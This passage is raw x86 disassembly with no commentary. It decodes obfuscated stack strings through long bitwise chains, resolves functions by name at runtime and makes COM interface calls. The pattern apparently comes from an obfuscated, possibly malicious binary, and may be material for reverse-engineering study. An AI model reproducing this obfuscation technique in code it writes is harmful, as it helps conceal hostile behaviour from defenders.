or ah, cl
mov al, dl
not al
and al, ah
not ah
and ah, dl
or ah, al
mov edx, esi
mov byte [esp + esi + 0x5c], ah
inc edx
mov cl, byte [esp]
dec cl
mov eax, edx
cmp edx, 0xe
jne 0x40adea
mov byte [esp + 0x6a], 0
lea eax, [esp + 0x5c]
push eax
call fcn.0040165b
mov dword [esp + 0x84], eax
mov dword [esp + 0x1c], 0xc057c050
mov dword [esp + 0x20], 0xc05dc043
mov word [esp + 0x24], 0xc039
mov word [esp + 0x32], 0
mov dword [esp + 0x18], 0xc0460043
xor eax, eax
inc eax
mov di, 0x3fcb
mov dword [esp], eax
add eax, 0xffffc033
mov ebx, edi
mov dword [esp + 8], edi
not ebx
mov esi, eax
xor esi, 0x5ba7
and esi, eax
or ebx, 0xffffa458
mov ecx, ebx
mov edx, 0xffffddd1
and ecx, edx
and edi, 0x226
or edi, ecx
mov ecx, esi
not ecx
or ebx, ecx
and ecx, edx
and esi, 0x222e
or esi, ecx
mov ecx, dword [esp]
movzx ecx, word [esp + ecx*2 + 0x18]
xor esi, edi
not ebx
or ebx, esi
mov esi, ebx
not esi
and esi, 0xffffb8d5
and ebx, 0x472a
or ebx, esi
mov esi, ebx
xor esi, 0xffffe012
mov edx, 0xfffff01a
and esi, edx
xor ebx, 0x1368
or ebx, esi
mov edx, dword [esp + 8]
mov esi, edx
and esi, 0x7de5
and eax, 0xffff821a
or eax, esi
xor eax, 0x7200
mov esi, eax
xor esi, edx
and esi, eax
mov dword [esp + 0xc], esi
mov eax, ecx
not eax
mov esi, eax
mov edx, 0xffffc67c
and esi, edx
mov edi, eax
or edi, edx
xor edi, esi
mov esi, edi
not esi
and edi, 0x6c51
and esi, 0xffff93ae
or esi, edi
mov edx, esi
xor edx, 0x4550
xor esi, 0xffff8001
and esi, 0xffff9083
and edx, 0x6f7c
or edx, esi
mov esi, edx
xor esi, 0x6018
mov edi, 0xfffff01a
and esi, edi
xor edx, 0xffff9f66
or edx, esi
mov dword [esp + 4], edx
and eax, 0x2b1e
mov edx, 0xffffd4e1
and ecx, edx
or ecx, eax
mov esi, ecx
xor esi, edx
xor ecx, 0x2814
and ecx, 0x2855
mov eax, esi
and eax, 0xffffd7aa
or eax, ecx
xor eax, 0x27b0
and esi, 0xfe5
or esi, eax
mov eax, esi
not eax
mov ecx, 0x4a03
and eax, ecx
mov ecx, 0xffffb5fc
and esi, ecx
or esi, eax
mov dword [esp + 0x14], esi
mov esi, ebx
not esi
mov eax, ebx
mov ecx, 0xffffe989
and eax, ecx
mov edi, 0xfffff0da
xor ebx, edi
and ebx, esi
mov ecx, 0x1676
and esi, ecx
or esi, eax
mov eax, dword [esp + 0xc]
mov edx, eax
not edx
mov dword [esp + 0x50], edx
mov ecx, eax
or ecx, edi
mov eax, edx
or eax, 0xf25
xor eax, ecx
mov edx, esi
mov ecx, 0x1676
xor edx, ecx
mov dword [esp + 0x70], edx
mov ecx, 0xffffe989
xor esi, ecx
mov ecx, esi
or ecx, edi
mov dword [esp + 0x10], ecx
mov edi, 0x4617
and dword [esp + 0x10], edi
and edx, 0x920
add edx, dword [esp + 0x10]
mov dword [esp + 0x10], edx
mov edx, ebx
not edx
or ecx, edx
mov edi, 0x4617
and edx, edi
and ebx, 0xffffb9e8
or ebx, edx
xor ebx, dword [esp + 0x10]
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov edi, 0xfffffcbd
and edx, edi
mov ebx, 0x342
and ecx, ebx
or ecx, edx
mov edx, eax
not edx
and edx, edi
and eax, ebx
or eax, edx
xor eax, ecx
mov ecx, esi
mov edx, 0xffffed45
and ecx, edx
mov edi, 0x12ba
mov ebx, dword [esp + 0x70]
and ebx, edi
or ebx, ecx
mov ecx, dword [esp + 0xc]
or esi, ecx
and ecx, edx
mov edx, ecx
mov ecx, dword [esp + 0x50]
and ecx, edi
or ecx, edx
xor ecx, ebx
not esi
or esi, ecx
mov edx, eax
not edx
mov ecx, edx
mov ebx, 0xffffac96
and ecx, ebx
mov edi, 0x5369
and eax, edi
or eax, ecx
mov edi, esi
not edi
or edx, esi
and esi, ebx
mov ecx, 0x5369
and edi, ecx
or edi, esi
xor edi, eax
mov ebx, dword [esp + 4]
mov ecx, ebx
not ecx
not edx
or edx, edi
mov dword [esp + 0x10], edx
mov esi, ebx
xor esi, 0xffffcec6
mov eax, esi
and eax, ebx
and esi, ecx
mov edi, eax
and edi, esi
xor esi, eax
or esi, edi
mov ebx, dword [esp + 0x14]
mov edi, ebx
mov eax, 0xffffb5fc
xor edi, eax
mov eax, ebx
mov edx, 0x4a03
xor eax, edx
xor ebx, 0xffff84c5
mov edx, ebx
and edx, eax
and ebx, edi
mov dword [esp + 0xc], edx
and dword [esp + 0xc], ebx
xor ebx, edx
or ebx, dword [esp + 0xc]
mov edx, esi
not edx
and edx, ebx
not ebx
and ebx, esi
or ebx, edx
mov esi, ecx
mov edx, 0xffffe310
and esi, edx
mov dword [esp + 0xc], esi
mov edx, dword [esp + 4]
mov esi, 0x1cef
and edx, esi
add edx, dword [esp + 0xc]
or ecx, edi
mov esi, 0xffffe310
and edi, esi
mov esi, 0x1cef
and eax, esi
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xffffc97b
mov esi, 0x3684
and ecx, esi
or ecx, eax
xor ecx, esi
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, dword [esp + 0x10]
not edx
mov eax, edx
xor eax, ecx
not eax
and eax, ecx
or edx, ecx
not edx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov esi, dword [esp]
mov word [esp + esi*2 + 0x18], dx
inc esi
mov edi, dword [esp + 8]
dec edi
mov eax, esi
cmp esi, 0xd
jne 0x40b06f
mov word [esp + 0x32], 0
lea eax, [esp + 0x18]
push eax
call dword [esp + 0x88]
mov ebx, eax
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
xor esi, esi
lea edx, [esp + 0x7c]
push esi
push edx
push esi
push esi
push dword [esp + 0x7c]
push eax
call dword [ecx + 0x18]
test eax, eax
js 0x40bd83
mov eax, dword [esp + 0x7c]
mov ecx, dword [eax]
lea edx, [esp + 0x78]
push esi
push edx
push esi
push ebx
push eax
call dword [ecx + 0x4c]
test eax, eax
js 0x40bd83
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
push edx
push 0
push eax
call dword [ecx + 0x3c]
test eax, eax
lea esi, [esp + 0x18]
js 0x40bd7d
mov dword [esp + 0x50], ebx
mov word [esp + 0x88], 8
mov eax, dword [ebp + 8]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0xc], eax
movaps xmm0, xmmword [0x4198d0]
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0xc052c052
mov dword [esp + 0x2c], 0xc03ec058
mov word [esp + 0x46], 0
mov word [esp + 0x18], 0x43
xor eax, eax
inc eax
mov cx, 0x3fcb
mov edx, eax
mov dword [esp + 8], eax
movzx eax, word [esp + eax*2 + 0x18]
mov dword [esp], eax
mov eax, ecx
mov ebx, ecx
mov dword [esp + 4], ecx
and eax, 0x5d
lea edi, [edx - 0x3fcd]
mov edx, edi
mov ecx, 0x4120
and edx, ecx
or edx, eax
xor edx, ecx
mov esi, edi
xor esi, 0x417d
and esi, edi
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, esi
not eax
and eax, 0x2fa6
and esi, 0xffffd059
or esi, eax
mov eax, esi
xor eax, 0xffff9020
xor esi, 0x6edb
and eax, 0xffff9673
mov edx, esi
and edx, 0x698c
or edx, eax
xor edx, 0x3706
mov eax, 0xffffa175
and esi, eax
or esi, edx
mov eax, esi
not eax
mov ecx, 0x7105
and eax, ecx
mov ecx, 0xffff8efa
and esi, ecx
or esi, eax
mov eax, ebx
and eax, 0xffffaa4e
mov ecx, 0x55b1
and edi, ecx
or edi, eax
mov eax, edi
xor eax, ecx
xor edi, 0x2a0a
and edi, 0x7eba
mov edx, eax
and edx, 0xffff8145
or edx, edi
xor edx, 0x2030
and eax, 0x5e8a
or eax, edx
mov edx, eax
not edx
mov ecx, 0xfffff880
and edx, ecx
mov ecx, 0x77f
and eax, ecx
or eax, edx
mov edx, dword [esp]
mov ecx, edx
not ecx
and edx, 0x10a7
mov ebx, ecx
and ebx, 0xffffef58
or ebx, edx
mov edi, ebx
xor edi, 0x1002
xor ebx, 0x6100
and ebx, 0x61a5
mov edx, 0xffff9e5a
and edi, edx
or edi, ebx
mov edx, edi
mov ebx, 0xffff9e5a
xor edx, ebx
xor edi, 0x20a0
and edi, 0x26ba
mov ebx, edx
and ebx, 0xffffd945
or ebx, edi
xor ebx, 0xffff87cf
mov edi, 0xffffa175
and edx, edi
or edx, ebx
mov edi, ecx
and edi, 0x2668
mov ebx, dword [esp]
and ebx, 0xd997
or ebx, edi
xor ebx, 0x78e2
xor ecx, ebx
and ecx, ebx
mov ebx, eax
mov edi, 0x77f
xor ebx, edi
mov dword [esp], ebx
mov ebx, esi
mov edi, 0x7105
xor esi, edi
and esi, dword [esp]
mov edi, 0xffff8efa
xor ebx, edi
mov edi, 0xfffff880
xor eax, edi
mov edi, ebx
xor edi, eax
and edi, ebx
and eax, ebx
or eax, esi
mov ebx, edi
and ebx, eax
xor eax, edi
mov esi, ecx
and ecx, edx
not edx
or eax, ebx
not esi
mov edi, edx
xor edi, esi
and edi, edx
and esi, edx
or esi, ecx
mov edx, edi
not edx
mov ecx, edx
mov ebx, 0xffff8c41
and ecx, ebx
mov ebx, 0x73be
and edi, ebx
or edi, ecx
mov ecx, esi
not ecx
or edx, ecx
mov ebx, 0xffff8c41
and ecx, ebx
mov ebx, 0x73be
and esi, ebx
or esi, ecx
xor esi, edi
not edx
or edx, esi
mov ecx, eax
not ecx
mov esi, ecx
mov edi, 0x5067
and esi, edi
and eax, 0xffffaf98
or eax, esi
mov esi, edx
xor esi, edi
xor esi, eax
and esi, edx
or ecx, edx
not ecx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov edx, dword [esp + 8]
mov word [esp + edx*2 + 0x18], cx
inc edx
mov ecx, dword [esp + 4]
dec ecx
mov eax, edx
cmp edx, 0x17
jne 0x40b452
mov word [esp + 0x46], 0
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
xor esi, esi
lea ecx, [esp + 0x88]
push esi
push ecx
push esi
lea ecx, [esp + 0x24]
push ecx
push edx
call dword [eax + 0x14]
test eax, eax
js 0x40bd83
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
lea edx, [esp + 0x74]
push esi
push edx
push dword [esp + 0x60]
push esi
push esi
push dword [esp + 0x64]
push dword [esp + 0x84]
push eax
call dword [ecx + 0x60]
test eax, eax
js 0x40bd83
mov eax, dword [esp + 0x74]
mov dword [esp + 0x70], eax
movaps xmm0, xmmword [0x4198e0]
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0xc049c057
mov dword [esp + 0x2c], 0xc03ec058
mov word [esp + 0x46], 0
mov word [esp + 0x18], 0x52
xor eax, eax
inc eax
mov cx, 0x3fcb
mov dword [esp + 0xc], eax
movzx ebx, word [esp + eax*2 + 0x18]
mov dword [esp], ecx
and ecx, 0x36b
add eax, 0xffffc033
mov edx, eax
xor edx, 0xffffc295
and edx, eax
and eax, 0xfffffc94
or eax, ecx
mov ecx, eax
xor ecx, 0x4090
xor eax, 0x201
or eax, 0x3d6a
mov esi, eax
mov edi, 0xffffaa06
and esi, edi
and ecx, 0x4091
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, edi
and edx, 0x55f9
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x353d
and eax, 0xffffcac2
or eax, ecx
mov edx, ebx
not edx
mov dword [esp + 4], edx
mov esi, 0xc88
and edx, esi
mov edi, ebx
and edi, 0xf377
or edi, edx
mov edx, edi
xor edx, 0x3050
xor edi, esi
mov esi, edi
mov ecx, 0xffffc727
and esi, ecx
mov ecx, 0x38d8
and edx, ecx
or edx, esi
mov esi, eax
xor esi, 0x857
xor eax, 0x3088
or edi, esi
mov ecx, 0xffffc727
and esi, ecx
mov ecx, 0x38d8
and eax, ecx
or eax, esi
xor eax, edx
not edi
or edi, eax
mov dword [esp + 8], edi
not edi
mov dword [esp + 0x10], edi
mov eax, dword [esp + 4]
mov edx, eax
and edx, 0xffff9020
and eax, 0x4a9a
mov ecx, eax
mov eax, 0x2545
and ebx, eax
or ebx, ecx
xor ebx, eax
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x69fe
mov eax, 0xffff9601
and ebx, eax
or ebx, ecx
xor ebx, eax
mov eax, dword [esp]
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov edx, ebx
not edx
mov ecx, ebx
mov eax, 0x39f8
and ecx, eax
mov eax, 0x6436
xor ebx, eax
and ebx, edx
mov esi, 0xffffc607
and edx, esi
or edx, ecx
mov ecx, edi
or ecx, eax
mov edi, dword [esp + 8]
or edi, 0xffff9bc9
xor edi, ecx
mov ecx, edx
xor ecx, esi
mov dword [esp + 4], ecx
mov ecx, 0x39f8
xor edx, ecx
mov dword [esp + 0x14], edx
mov esi, edx
or esi, eax
mov ecx, esi
mov eax, 0xffffe810
and ecx, eax
mov edx, dword [esp + 4]
and edx, 0x13c9
or edx, ecx
mov ecx, ebx
not ecx
or esi, ecx
mov eax, 0xffffe810
and ecx, eax
and ebx, 0x17ef
or ebx, ecx
xor ebx, edx
not esi
or esi, ebx
mov eax, edi
not eax
mov ecx, 0xffffac58
and eax, ecx
mov ebx, 0x53a7
and edi, ebx
or edi, eax
mov eax, esi
not eax
and eax, ecx
and esi, ebx
or esi, eax
xor esi, edi
mov ebx, dword [esp + 0x10]
mov eax, ebx
mov ecx, 0x5765
and eax, ecx
mov edi, 0xffffa89a
mov ecx, dword [esp + 8]
and ecx, edi
or ecx, eax
mov edx, dword [esp + 0x14]
or ebx, edx
mov eax, 0x5765
and edx, eax
mov eax, dword [esp + 4]
and eax, edi
or eax, edx
xor eax, ecx
mov edx, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x23ed
mov ecx, 0xffffdc12
and edx, ecx
or edx, eax
xor edx, ecx
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
mov edx, dword [esp + 0xc]
mov word [esp + edx*2 + 0x18], ax
inc edx
mov ecx, dword [esp]
dec ecx
mov eax, edx
cmp edx, 0x17
jne 0x40b6f4
mov word [esp + 0x46], 0
mov edx, dword [esp + 0x70]
mov eax, dword [edx]
xor ecx, ecx
lea esi, [esp + 0x98]
push ecx
push ecx
push esi
push ecx
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [eax + 0x10]
mov dword [esp + 4], eax
test eax, eax
js 0x40bd87
mov dword [esp + 0x1a], 0x56565f47
mov dword [esp + 0x1e], 0x5957794d
mov word [esp + 0x22], 0x4c5c
mov byte [esp + 0x24], 0
mov word [esp + 0x18], 0x5556
xor eax, eax
inc eax
mov cl, 0xcb
mov byte [esp], cl
mov dl, byte [esp + eax + 0x18]
mov dh, byte [esp]
and dh, 0x20
mov ebx, eax
mov edi, eax
add bl, 0x33
mov ch, bl
and ch, 0x80
or ch, dh
mov dh, ch
xor dh, 0x80
xor ch, 0x7f
mov bh, bl
xor bh, 0xa0
and bh, bl
mov cl, bh
not cl
or ch, cl
and cl, 0x5a
and bh, 0xa5
or bh, cl
or dh, 0x5a
xor dh, bh
not ch
or ch, dh
mov cl, ch
not cl
and cl, 0x5f
and ch, 0xa0
or ch, cl
mov bh, dl
not bh
mov dh, dl
and dl, bh
mov cl, bh
and cl, dl
xor dl, bh
and bh, 0x3c
and dh, 0xc3
or dh, bh
mov bh, dh
xor bh, 0x82
xor dh, 0x3c
mov al, dh
and al, 0x45
and bh, 0xba
or bh, al
mov al, ch
not al
or dh, ch
and ch, 0x45
and al, 0xba
or al, ch
xor al, bh
not dh
or dh, al
or dl, cl
mov al, byte [esp]
and al, 0x46
and bl, 0xb9
or bl, al
mov ch, dl
not ch
and dl, 0x46
and ch, 0xb9
or ch, dl
mov al, dh
not al
xor ch, bl
not ch
or ch, byte [esp]
mov cl, ch
not cl
and cl, dh
or dh, ch
and ch, al
mov al, dh
not al
or ch, cl
mov cl, dh
and cl, 0xbb
and al, 0x44
or al, cl
mov cl, ch
not cl
or dh, cl
and cl, 0xbb
and ch, 0x44
or ch, cl
xor ch, al
not dh
or dh, ch
mov byte [esp + edi + 0x18], dh
mov cl, byte [esp]
inc edi
dec cl
mov eax, edi
cmp edi, 0xc
jne 0x40b965
mov byte [esp + 0x24], 0
lea eax, [esp + 0x18]
push eax
call fcn.0040165b
push esi
call eax
mov dword [esp + 0x1a], 0x5d457046
mov dword [esp + 0x1e], 0x4e4f695c
mov dword [esp + 0x22], 0x585054
mov word [esp + 0x18], 0x4d53
xor eax, eax
inc eax
mov cl, 0xcb
mov ch, byte [esp + eax + 0x18]
mov dh, al
mov esi, eax
add dh, 0x33
mov dl, cl
mov byte [esp], cl
and dl, 0x5b
mov bh, dh
xor bh, 0x5b
and bh, dh
mov bl, dl
and bl, bh
xor bh, dl
or bh, bl
mov dl, bh
not dl
and dl, 0xef
mov cl, bh
and cl, 0x10
or cl, dl
mov al, ch
not al
mov bl, al
and bl, 0xfa
mov dl, ch
and dl, 5
or dl, bl
mov ah, dl
xor ah, 1
xor dl, 0xfa
mov bl, dl
and bl, 0x96
and ah, 0x69
or ah, bl
xor cl, 0x4b
xor bh, 0x49
or dl, cl
and cl, 0x96
and bh, 0x69
or bh, cl
xor bh, ah
not dl
or dl, bh
mov cl, al
and cl, 0x34
mov ah, ch
and ah, 0x8a
or ah, cl
mov cl, ah
xor cl, 0x88
xor ah, 0x15
and ah, 0x17
and cl, 0xa8
or cl, ah
or al, 0x16
and al, 0x17
and ch, 0x40
or ch, al
xor ch, cl
mov al, ch
not al
and al, 0x41
and ch, 0xbe
or ch, al
mov al, ch
not al
and al, 0xa1
and ch, 0x5e
or ch, al
mov cl, byte [esp]
mov eax, ecx
and al, 0xa4
and dh, 0x5b
or dh, al
mov bl, ch
xor bl, 0x5a
xor ch, 0xa0
and ch, 0xa4
and bl, 0x5b
or bl, ch
mov eax, edx
not al
xor bl, dh
not bl
or bl, cl
mov ah, cl
mov ecx, ebx
not cl
and cl, dl
or dl, bl
and bl, al
mov al, dl
not al
or bl, cl
mov ecx, edx
and cl, 0x54
and al, 0xab
or al, cl
mov ecx, ebx
not cl
or dl, cl
and cl, 0x54
and bl, 0xab
or bl, cl
xor bl, al
not dl
or dl, bl
mov byte [esp + esi + 0x18], dl
inc esi
mov cl, ah
dec cl
mov eax, esi
cmp esi, 0xd
jne 0x40ba87
mov byte [esp + 0x25], 0
lea esi, [esp + 0x18]
push esi
call fcn.0040165b
push dword [esp + 0x6c]
call eax
mov dword [esp + 0x1a], 0x5d457046
mov dword [esp + 0x1e], 0x4e4f695c
mov dword [esp + 0x22], 0x585054
mov word [esp + 0x18], 0x4d53
xor eax, eax
inc eax
mov cl, 0xcb
mov edx, eax
mov dword [esp], eax
mov ch, byte [esp + eax + 0x18]
mov ah, cl
and cl, 0x88
mov bh, dl
add bh, 0x33
mov dh, bh
and dh, 0x77
or dh, cl
mov cl, dh
xor cl, 0x66
xor dh, 0x88
mov dl, bh
not dl
and dl, bh
mov bl, dl
not bl
mov al, dh
and al, 0x19
and cl, 0xe6
or cl, al
or dh, bl
and bl, 0x19
and dl, 0xe6
or dl, bl
xor dl, cl
not dh
or dh, dl
mov al, dh
not al
and al, 0x59
and dh, 0xa6
or dh, al
mov al, dh
xor al, 6
and al, 0x5e
xor dh, 0xf8
or dh, al
mov al, dh
not al
and al, 0x49
mov bl, dh
and bl, 0xb6
or bl, al
xor bl, 0xb6
mov byte [esp + 8], ah
mov al, ah
and al, 0xa1
and bh, 0x5e
or bh, al
mov dl, bh
xor dl, ah
and dl, bh
mov al, ch
not al
mov bh, al
and bh, ch
mov cl, al
and cl, bh
xor bh, al
or bh, cl
mov cl, bh
not cl
and cl, 0x5e
xor bh, 0xa1
or bh, cl
mov cl, bh
not cl
and cl, 0x8d
and bh, 0x72
or bh, cl
mov cl, bh
xor bh, 0x8d
and al, 0xa1
xor ch, 0x5e
or ch, al
mov al, ch
not al
and al, 0xd0
and ch, 0x2f
or ch, al
mov al, ch
xor al, 0x2f
and al, bh
mov ah, dl
not ah
mov bh, bl
xor bh, ah
and bh, bl
and dh, 0x22
and bl, 0xdd
or bl, dh
xor cl, 0x72
xor ch, 0xd0
and ah, 0x22
and dl, 0xdd
or dl, ah
xor dl, bl
mov ah, bh
and ah, dl
xor dl, bh
or dl, ah
mov ah, cl
xor ah, ch
and ah, cl
and ch, cl
or ch, al
mov cl, ah
not cl
mov al, ch
not al
mov dh, cl
and dh, 0xb8
and ah, 0x47
or ah, dh
or cl, al
and al, 0xb8
and ch, 0x47
or ch, al
xor ch, ah
not cl
or cl, ch
mov eax, edx
not al
mov ah, dl
or ah, 0xa
mov ch, cl
mov dh, cl
xor dh, 0x75
and dh, cl
not cl
mov ebx, ecx
and bl, 0x65
and ch, 0x10
or ch, bl
mov ebx, eax
and ah, 0x4a
and al, 0x35
or al, ah
or bl, 0x40
and bl, 0x4a
and dl, 0x80
or dl, bl
xor ch, 0xef
xor dl, al
mov al, ch
and al, 0x34
and cl, 0x41
or cl, al
mov al, dh
not al
or ch, al
and al, 0x34
and dh, 0xcb
or dh, al
xor dh, cl
not ch
or ch, dh
mov eax, edx
not al
and al, 0xd
and dl, 0xf2
or dl, al
mov al, ch
not al
and al, 0xd
and ch, 0xf2
or ch, al
xor ch, dl
mov edx, dword [esp]
mov byte [esp + edx + 0x18], ch
inc edx
mov cl, byte [esp + 8]
dec cl
mov eax, edx
cmp edx, 0xd
jne 0x40bbce
mov byte [esp + 0x25], 0
push esi
call fcn.0040165b
push dword [esp + 0x50]
call eax
jmp 0x40bd93
mov dword [esp + 4], eax
jmp 0x40bd93
mov dword [esp + 4], eax
lea esi, [esp + 0x18]
jmp 0x40bd93
mov dword [esp + 4], eax
mov esi, ebx
mov eax, dword [esp + 0x7c]
test eax, eax
je 0x40bda1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x78]
test eax, eax
je 0x40bdaf
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x58]
test eax, eax
je 0x40bdbd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x74]
test eax, eax
je 0x40bdcb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x80]
test eax, eax
je 0x40bddc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
test eax, eax
je 0x40bdea
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x1a], 0x565e5860
mov dword [esp + 0x1e], 0x5d524e50
mov dword [esp + 0x22], 0x25455751
mov byte [esp + 0x26], 0
mov word [esp + 0x18], 0x5b43
xor eax, eax
inc eax
mov cl, 0xcb
mov dl, byte [esp + eax + 0x18]
mov dh, al
mov edi, eax
add dh, 0x33
mov al, dh
not al
and al, dh
mov ah, cl
and ah, al
xor al, cl
or al, ah
mov ebx, edx
not bl
mov ah, al
not ah
and ah, 0x6d
and al, 0x92
or al, ah
mov ah, al
xor ah, 0x6d
mov ch, dl
and ch, 0xf7
mov bh, bl
and bh, 8
or bh, ch
mov ch, dl
or ch, ah
and ah, 0xf7
and al, 8
or al, ah
xor al, bh
not ch
or ch, al
mov eax, ebx
and al, 3
and bl, dl
and dl, 0xfc
or dl, al
mov eax, edx
xor al, 0x28
xor dl, 3
mov ah, bl
not ah
mov bh, dl
and bh, 0xd6
and al, 0x29
or al, bh
or dl, ah
and ah, 0xd6
and bl, 0x29
or bl, ah
xor bl, al
not dl
or dl, bl
and dh, dl
not dl
mov byte [esp], cl
and dl, cl
or dl, dh
not dl
or dl, cl
mov dh, dl
mov al, ch
mov byte [esp + 8], dl
mov ah, dl
mov bh, ch
and bh, dl
xor dl, ch
not ch
xor al, 0xee
and al, ch
or ch, 0xee
mov cl, ch
mov bl, al
not bl
or ch, bl
and bl, 0x4e
and al, 0xb1
or al, bl
not cl
or cl, 0x4e
xor cl, al
not dh
not ch
or ch, cl
mov al, dh
or al, 0x42
and al, 0x43
and ah, 0x10
or ah, al
mov al, byte [esp + 8]
or al, 1
and al, 0x43
and dh, 0xac
or dh, al
xor dh, ah
mov al, ch
not al
and al, 0x13
and ch, 0xec
or ch, al
mov al, dh
not al
and al, 0x13
and dh, 0xec
or dh, al
xor dh, ch
or dl, bh
mov eax, edx
not al
and al, 0xcb
and dl, 0x34
or dl, al
mov al, dh
not al
mov ecx, eax
and cl, 0x50
and dh, 0xaf
or dh, cl
mov ecx, edx
xor cl, 0x24
xor dl, 0xcb
or al, dl
and dl, 0x50
and cl, 0xaf
or cl, dl
xor cl, dh
not al
or al, cl
mov byte [esp + edi + 0x18], al
inc edi
mov cl, byte [esp]
dec cl
mov eax, edi
cmp edi, 0xe
jne 0x40be13
mov byte [esp + 0x26], 0
push esi
call fcn.0040165b
call eax
mov ecx, dword [esp + 4]
mov eax, ecx
sar eax, 0x1f
and eax, ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4